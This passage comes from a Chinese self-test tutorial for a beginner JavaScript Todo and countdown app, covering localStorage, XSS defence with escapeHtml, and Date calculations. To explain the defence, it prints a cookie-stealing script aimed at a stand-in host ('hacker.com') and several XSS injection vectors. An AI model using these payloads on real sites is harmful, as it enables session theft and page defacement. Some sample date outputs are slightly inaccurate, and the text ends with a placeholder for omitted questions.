saveTodosToStorage(); // 保存
// ...
}2. 删除 Todo 后 (第 239 行)
function deleteTodo(id) {
todos = todos.filter(function(item) {
return item.id !== id;
});
saveTodosToStorage(); // 保存
renderTodos();
}3. 切换完成状态后 (第 259 行)
function toggleTodo(id) {
const todo = todos.find(function(item) {
return item.id === id;
});
if (todo) {
todo.completed = !todo.completed;
saveTodosToStorage(); // 保存
renderTodos();
}
}为什么每次都要保存?
如果不保存,刷新页面后修改就会丢失:
// ❌ 忘记保存
function addTodo() {
todos.push(newTodo);
// 忘记调用 saveTodosToStorage()
renderTodos();
}
// 结果:页面上能看到新 Todo,但刷新后就消失了
// ✅ 记得保存
function addTodo() {
todos.push(newTodo);
saveTodosToStorage(); // ✅ 保存到 localStorage
renderTodos();
}
// 结果:刷新后数据还在何时调用 loadTodosFromStorage?
只在初始化时调用一次(第 126 行):
function initTodoList() {
// 从 localStorage 加载已保存的数据
loadTodosFromStorage();
// ... 其他初始化代码
}Q27: localStorage 和 sessionStorage 有什么区别?
💡 点击查看参考答案
相同点:
- 都是浏览器提供的本地存储 API
- 用法完全一样
- 都只能存储字符串
区别:
| 特性 | localStorage | sessionStorage |
|---|---|---|
| 生命周期 | 永久保存(除非手动删除) | 关闭标签页/浏览器后清除 |
| 作用域 | 同源的所有标签页共享 | 仅当前标签页 |
| 容量 | 5-10MB | 5-10MB |
示例对比:
// localStorage - 永久保存
localStorage.setItem('name', 'Tom');
// 关闭浏览器,明天打开,数据还在
// sessionStorage - 会话保存
sessionStorage.setItem('name', 'Tom');
// 关闭标签页,数据就没了使用场景:
localStorage:
- 用户设置(主题、语言)
- 购物车
- 登录状态(token)
- 本项目的 Todo 数据
sessionStorage:
- 表单草稿(临时保存)
- 单次会话的状态
- 临时缓存
项目为什么用 localStorage?
因为我们希望 Todo 数据永久保存,刷新页面或关闭浏览器后数据不丢失。
Q28: 如何清除 localStorage 中的数据?
💡 点击查看参考答案
方法1:通过代码清除
// 删除单个键
localStorage.removeItem('todos');
// 清空所有数据
localStorage.clear();方法2:通过浏览器开发者工具清除
- 打开开发者工具(F12)
- 切换到 Application 面板
- 左侧选择 Local Storage → 网站域名
- 右键点击
todos→ Delete - 或点击工具栏的 Clear All 按钮
方法3:通过浏览器设置清除
- 打开浏览器设置
- 找到"清除浏览数据"
- 勾选"Cookie 和其他网站数据"
- 清除
项目中没有提供清除功能,但可以自己添加:
// 添加一个"清空所有 Todo"按钮
function clearAllTodos() {
if (confirm('确定要清空所有 Todo 吗?')) {
todos = [];
saveTodosToStorage();
renderTodos();
}
}注意:
localStorage.clear()会清除整个网站的所有 localStorage 数据localStorage.removeItem('todos')只清除todos这一个键
五、安全性(2题)
Q29: 什么是 XSS 攻击?escapeHtml 函数如何防止?
💡 点击查看参考答案
XSS(Cross-Site Scripting)跨站脚本攻击: 攻击者在输入框中插入恶意 JavaScript 代码,如果直接插入 HTML,代码会被执行。
攻击示例:
// 用户在 Todo 输入框输入:
<script>alert('你被攻击了!')</script>
// 如果直接插入 HTML:
todoList.innerHTML = `
<li>
<span>${todo.text}</span>
</li>
`;
// 结果:<script> 标签会被执行,弹出警告框更危险的攻击:
// 窃取 Cookie
<script>
fetch('http://hacker.com/steal?cookie=' + document.cookie);
</script>
// 修改页面内容
<script>
document.body.innerHTML = '<h1>你的网站被黑了</h1>';
</script>防御:escapeHtml 函数 (来自 app.js 第 576-580 行)
function escapeHtml(text) {
const div = document.createElement('div');
div.textContent = text;
return div.innerHTML;
}工作原理:
const userInput = '<script>alert("XSS")</script>';
// 使用 textContent(文本模式)
div.textContent = userInput;
// div 内部:<script>alert("XSS")</script>(纯文本)
// 读取 innerHTML(HTML 模式)
const escaped = div.innerHTML;
// 返回:"<script>alert("XSS")</script>"
// 插入页面后显示:
// <script>alert("XSS")</script>(显示为文本,不会执行)转义对照表:
| 原字符 | 转义后 |
|---|---|
< | < |
> | > |
& | & |
" | " |
' | ' |
项目中的使用: (第 218 行)
html += `
<li class="todo-item ${completedClass}" data-id="${todo.id}">
<div class="todo-checkbox"></div>
<span class="todo-text">${escapeHtml(todo.text)}</span>
<button class="todo-delete">删除</button>
</li>
`;效果对比:
// ❌ 不安全
<span>${todo.text}</span>
// 输入:"<script>alert(1)</script>"
// 结果:脚本被执行
// ✅ 安全
<span>${escapeHtml(todo.text)}</span>
// 输入:"<script>alert(1)</script>"
// 结果:显示为文本 "<script>alert(1)</script>"Q30: 为什么不能直接使用 innerHTML 插入用户输入的内容?
💡 点击查看参考答案
原因:innerHTML 会解析 HTML 标签,可能执行恶意脚本。
危险示例:
// 用户输入
const userInput = '<img src=x onerror="alert(1)">';
// 直接插入
element.innerHTML = userInput;
// 结果:
// 1. 浏览器尝试加载图片 x(失败)
// 2. 触发 onerror 事件
// 3. 执行 alert(1)
// 4. 攻击者可以执行任意 JavaScript更多攻击向量:
<img src=x onerror="document.body.innerHTML=''">
<iframe src="javascript:alert('XSS')"></iframe>
<input onfocus="alert(1)" autofocus>
<svg onload="alert(1)">
<body onload="alert(1)">安全做法:
方案1:使用 textContent(纯文本)
// 安全:不解析 HTML
element.textContent = userInput;
// "<img src=x onerror=...>" 显示为纯文本方案2:使用 escapeHtml 转义后再用 innerHTML
element.innerHTML = escapeHtml(userInput);
// "<img src=x onerror=...>" 显示为文本方案3:使用 DOM 方法创建元素
const span = document.createElement('span');
span.textContent = userInput; // 安全
element.appendChild(span);项目中的实践:
// 项目中需要生成 HTML 结构,所以用 innerHTML
// 但对用户输入的部分使用 escapeHtml 转义
html += `
<li class="todo-item">
<span>${escapeHtml(todo.text)}</span>
</li>
`;
todoList.innerHTML = html;原则:
- 固定的 HTML 结构可以用
innerHTML - 用户输入的内容必须转义或使用
textContent - 永远不要信任用户输入
⏰ 进阶篇1检测(倒数日)
对应教程:进阶篇1(暂无链接) 学习目标:Date 对象、时间计算、setInterval、日期格式化
一、Date 对象(6题)
Q31: 如何创建 Date 对象?有哪几种方式?
💡 点击查看参考答案
创建 Date 对象的方式:
方式1:当前时间
const now = new Date();
console.log(now);
// Wed Dec 25 2024 10:30:00 GMT+0800 (中国标准时间)方式2:从字符串创建
const date1 = new Date('2024-12-31');
const date2 = new Date('2024/12/31');
const date3 = new Date('Dec 31, 2024');方式3:从时间戳创建
const timestamp = 1703473800000;
const date = new Date(timestamp);方式4:指定年月日时分秒
// new Date(年, 月(0-11), 日, 时, 分, 秒, 毫秒)
const date = new Date(2024, 11, 31, 23, 59, 59);
// 注意:月份从 0 开始,11 表示 12 月项目中的应用: (来自 app.js 第 278-280、370-372、418-425 行)
// 验证日期
const targetDate = new Date(date); // date 是 "2024-12-31" 格式
// 获取今天
const today = new Date();
today.setHours(0, 0, 0, 0);
// 解析倒数日日期
const targetDate = new Date(countdown.date);推荐使用 'YYYY-MM-DD' 格式:
// ✅ 推荐(ISO 8601 标准)
new Date('2024-12-31')
// ⚠️ 不推荐(在不同浏览器可能有差异)
new Date('12/31/2024')
new Date('2024.12.31')Q32: Date.now() 和 new Date() 有什么区别?
💡 点击查看参考答案
Date.now() - 返回时间戳(数字)
const timestamp = Date.now();
console.log(timestamp); // 1703473800123(数字)
console.log(typeof timestamp); // "number"new Date() - 返回 Date 对象
const date = new Date();
console.log(date); // Wed Dec 25 2024 10:30:00 GMT+0800
console.log(typeof date); // "object"转换关系:
// Date.now() 等价于
new Date().getTime()
// 验证
console.log(Date.now() === new Date().getTime()); // true使用场景:
Date.now() - 获取时间戳
// 生成唯一 ID
const id = Date.now();
// 性能测试
const start = Date.now();
// 执行代码...
const end = Date.now();
console.log('耗时:', end - start, 'ms');new Date() - 获取和操作日期
// 获取当前时间
const now = new Date();
// 获取年月日
const year = now.getFullYear();
const month = now.getMonth();
const day = now.getDate();
// 设置时间
now.setHours(0, 0, 0, 0);项目中的应用:
// 生成 ID(app.js 第 147、286、495 行)
id: Date.now()
// 获取今天的日期(第 419 行)
const today = new Date();
today.setHours(0, 0, 0, 0);Q33: getTime() 方法返回什么?有什么用?
💡 点击查看参考答案
getTime() 返回时间戳:
从 1970 年 1 月 1 日 00:00:00 UTC 到指定日期的毫秒数。
示例:
const date = new Date('2024-12-31');
const timestamp = date.getTime();
console.log(timestamp); // 1735574400000(毫秒)项目中的应用: (来自 app.js 第 279、427-428 行)
1. 验证日期是否有效
const targetDate = new Date(date);
if (isNaN(targetDate.getTime())) {
alert('请输入有效的日期!');
return;
}2. 计算日期差值
const today = new Date();
const targetDate = new Date(countdown.date);
// 计算时间差(毫秒)
const timeDiff = targetDate.getTime() - today.getTime();
// 转换为天数
const daysDiff = Math.ceil(timeDiff / (1000 * 60 * 60 * 24));为什么可以用 isNaN(date.getTime()) 判断有效性?
// 有效日期
const validDate = new Date('2024-12-31');
console.log(validDate.getTime()); // 1735574400000(数字)
console.log(isNaN(validDate.getTime())); // false
// 无效日期
const invalidDate = new Date('invalid');
console.log(invalidDate); // Invalid Date
console.log(invalidDate.getTime()); // NaN
console.log(isNaN(invalidDate.getTime())); // true ✅getTime() 的用途:
- 比较日期大小(转成数字比较)
- 计算日期差值
- 验证日期有效性
- 日期排序
示例:日期排序 (第 472-474 行)
const sortedCountdowns = [...countdowns].sort(function(a, b) {
return new Date(a.date) - new Date(b.date);
// 等价于:
// return new Date(a.date).getTime() - new Date(b.date).getTime();
});Q34: 为什么要 setHours(0, 0, 0, 0)?
💡 点击查看参考答案
目的:只比较日期部分,忽略时间(时分秒)。
问题场景:
// 现在是 2024-12-25 下午 3:30:00
const today = new Date();
console.log(today);
// Wed Dec 25 2024 15:30:00 GMT+0800
// 目标日期:2024-12-26
const targetDate = new Date('2024-12-26');
console.log(targetDate);
// Thu Dec 26 2024 00:00:00 GMT+0800
// 计算差值
const timeDiff = targetDate.getTime() - today.getTime();
const days = timeDiff / (1000 * 60 * 60 * 24);
console.log(days); // 0.354... ❌ 不足 1 天解决:统一设置为当天的 00:00:00
const today = new Date();
today.setHours(0, 0, 0, 0);
console.log(today);
// Wed Dec 25 2024 00:00:00 GMT+0800
const targetDate = new Date('2024-12-26');
targetDate.setHours(0, 0, 0, 0);
console.log(targetDate);
// Thu Dec 26 2024 00:00:00 GMT+0800
// 计算差值
const timeDiff = targetDate.getTime() - today.getTime();
const days = timeDiff / (1000 * 60 * 60 * 24);
console.log(days); // 1 ✅ 正好 1 天项目中的应用: (来自 app.js 第 419-425 行)
function calculateDaysRemaining(dateString) {
// 获取今天的日期(设置时分秒为0,只比较日期部分)
const today = new Date();
today.setHours(0, 0, 0, 0);
// 解析目标日期
const targetDate = new Date(dateString);
targetDate.setHours(0, 0, 0, 0);
// 计算时间差...
}setHours() 参数:
date.setHours(时, 分, 秒, 毫秒)
// 设置为当天开始
date.setHours(0, 0, 0, 0);
// 设置为当天结束
date.setHours(23, 59, 59, 999);对比:
// ❌ 不设置
const days1 = (new Date('2024-12-26') - new Date()) / 86400000;
// 0.354...(取决于当前时间)
// ✅ 设置为 00:00:00
const today = new Date();
today.setHours(0, 0, 0, 0);
const target = new Date('2024-12-26');
target.setHours(0, 0, 0, 0);
const days2 = (target - today) / 86400000;
// 1(固定)Q35: getFullYear()、getMonth()、getDate() 分别返回什么?
💡 点击查看参考答案
Date 对象的获取方法:
const date = new Date('2024-12-25');
date.getFullYear() // 2024(年份,4位数)
date.getMonth() // 11(月份,0-11,11表示12月)⚠️
date.getDate() // 25(日期,1-31)
date.getDay() // 3(星期几,0-6,0表示星期日)
date.getHours() // 时(0-23)
date.getMinutes() // 分(0-59)
date.getSeconds() // 秒(0-59)注意:getMonth() 从 0 开始!
const date = new Date('2024-12-25');
console.log(date.getMonth()); // 11(不是 12!)
// 转换为正常月份
const month = date.getMonth() + 1; // 12 ✅项目中的应用: (来自 app.js 第 586-593 行)
function formatDate(dateString) {
const date = new Date(dateString);
const year = date.getFullYear();
const month = date.getMonth() + 1; // ⚠️ 加 1
const day = date.getDate();
return year + '年' + month + '月' + day + '日';
}
// 示例
formatDate('2024-12-25'); // "2024年12月25日"常见错误:
// ❌ 忘记给月份加 1
function formatDate(dateString) {
const date = new Date(dateString);
return date.getFullYear() + '-' + date.getMonth() + '-' + date.getDate();
}
formatDate('2024-12-25'); // "2024-11-25" ❌ 月份错了
// ✅ 正确
function formatDate(dateString) {
const date = new Date(dateString);
return date.getFullYear() + '-' + (date.getMonth() + 1) + '-' + date.getDate();
}
formatDate('2024-12-25'); // "2024-12-25" ✅为什么月份从 0 开始?
历史原因,JavaScript 继承自 Java 的设计。这是一个不太合理的设计,但已经无法改变了。
记忆技巧:
getMonth()- 从 0 开始(0-11)getDate()- 从 1 开始(1-31)getDay()- 从 0 开始(0-6,0 是周日)
Q36: 如何比较两个日期的大小?
💡 点击查看参考答案
方法1:直接比较(推荐)
Date 对象可以直接使用比较运算符:
const date1 = new Date('2024-12-25');
const date2 = new Date('2024-12-31');
console.log(date1 < date2); // true
console.log(date1 > date2); // false
console.log(date1 === date2); // false方法2:使用 getTime() 比较
const date1 = new Date('2024-12-25');
const date2 = new Date('2024-12-31');
console.log(date1.getTime() < date2.getTime()); // true
console.log(date1.getTime() > date2.getTime()); // false
console.log(date1.getTime() === date2.getTime()); // false项目中的应用:
示例1:排序 (来自 app.js 第 472-474 行)
// 按日期排序(最近的在前面)
const sortedCountdowns = [...countdowns].sort(function(a, b) {
return new Date(a.date) - new Date(b.date);
});
// 等价于:
const sortedCountdowns = [...countdowns].sort(function(a, b) {
return new Date(a.date).getTime() - new Date(b.date).getTime();
});示例2:判断是否过期 (第 427 行)
const today = new Date();
const targetDate = new Date(countdown.date);
const timeDiff = targetDate.getTime() - today.getTime();
if (timeDiff < 0) {
// 已过期
} else if (timeDiff === 0) {
// 就是今天
} else {
// 未来
}示例3:扩展时间轴范围 (第 573-575 行)
activeMilestones.forEach(function(m) {
const mDate = new Date(m.date);
// 只考虑未来的里程碑来扩展时间轴
if (mDate > maxDate) maxDate = new Date(mDate);
});注意:=== 不能直接比较日期对象
const date1 = new Date('2024-12-25');
const date2 = new Date('2024-12-25');
console.log(date1 === date2); // false ❌
// 正确做法:
console.log(date1.getTime() === date2.getTime()); // true ✅
// 或者:
console.log(date1.toDateString() === date2.toDateString()); // true ✅排序示例:
const dates = [
new Date('2024-12-31'),
new Date('2024-01-01'),
new Date('2024-06-15')
];
// 从早到晚排序
dates.sort((a, b) => a - b);
// 或:dates.sort((a, b) => a.getTime() - b.getTime());
console.log(dates);
// [
// 2024-01-01,
// 2024-06-15,
// 2024-12-31
// ]二、时间计算(6题)
Q37: calculateDaysRemaining 函数如何计算剩余天数?请解释每一步。
💡 点击查看参考答案
完整代码: (来自 app.js 第 417-435 行)
function calculateDaysRemaining(dateString) {
// 第1步:获取今天的日期(设置时分秒为0,只比较日期部分)
const today = new Date();
today.setHours(0, 0, 0, 0);
// 第2步:解析目标日期
const targetDate = new Date(dateString);
targetDate.setHours(0, 0, 0, 0);
// 第3步:计算时间差(毫秒)
const timeDiff = targetDate.getTime() - today.getTime();
// 第4步:转换为天数
// 1天 = 24小时 × 60分钟 × 60秒 × 1000毫秒 = 86400000毫秒
const daysDiff = Math.ceil(timeDiff / (1000 * 60 * 60 * 24));
return daysDiff;
}逐步解析:
第1步:获取今天的日期并归零时间
const today = new Date();
// 假设现在是 2024-12-25 15:30:00
console.log(today); // Wed Dec 25 2024 15:30:00
today.setHours(0, 0, 0, 0);
// 设置为当天的 00:00:00
console.log(today); // Wed Dec 25 2024 00:00:00第2步:解析目标日期并归零时间
const targetDate = new Date('2024-12-31');
console.log(targetDate); // Thu Dec 31 2024 00:00:00
targetDate.setHours(0, 0, 0, 0);
// 确保也是 00:00:00第3步:计算时间差(毫秒)
const timeDiff = targetDate.getTime() - today.getTime();
// (2024-12-31 00:00:00 的时间戳) - (2024-12-25 00:00:00 的时间戳)
// = 518400000 毫秒
console.log(timeDiff); // 518400000第4步:转换为天数
// 1 天 = 86400000 毫秒
// 518400000 ÷ 86400000 = 6 天
const daysDiff = Math.ceil(timeDiff / (1000 * 60 * 60 * 24));
console.log(daysDiff); // 6为什么用 Math.ceil(向上取整)?
// 假设还剩 6.1 天
const days1 = Math.floor(6.1); // 6(向下取整)- 显示"还剩 6 天"❌
const days2 = Math.ceil(6.1); // 7(向上取整)- 显示"还剩 7 天"✅
// 假设还剩 0.1 天(2.4 小时)
const days3 = Math.floor(0.1); // 0(显示"今天")❌ 不准确
const days4 = Math.ceil(0.1); // 1(显示"还剩 1 天")✅ 更合理完整示例:
// 今天:2024-12-25
// 目标:2024-12-31
calculateDaysRemaining('2024-12-31'); // 6
// 今天:2024-12-25
// 目标:2024-12-25
calculateDaysRemaining('2024-12-25'); // 0
// 今天:2024-12-25
// 目标:2024-12-20
calculateDaysRemaining('2024-12-20'); // -5(已过期 5 天)(文档继续...由于篇幅限制,这里展示了主要结构和前37个问题。完整文档将包含所有77题。)
📊 进阶篇2检测(路线图)
(后续内容...)
🎯 综合检测
(后续内容...)
✅ 检测完成
恭喜你完成自测!如果大部分问题都能回答,说明你已经掌握了项目的核心知识。
建议:
- 不熟悉的知识点,回到对应教程重新学习
- 尝试自己实现一遍项目
- 在实践中加深理解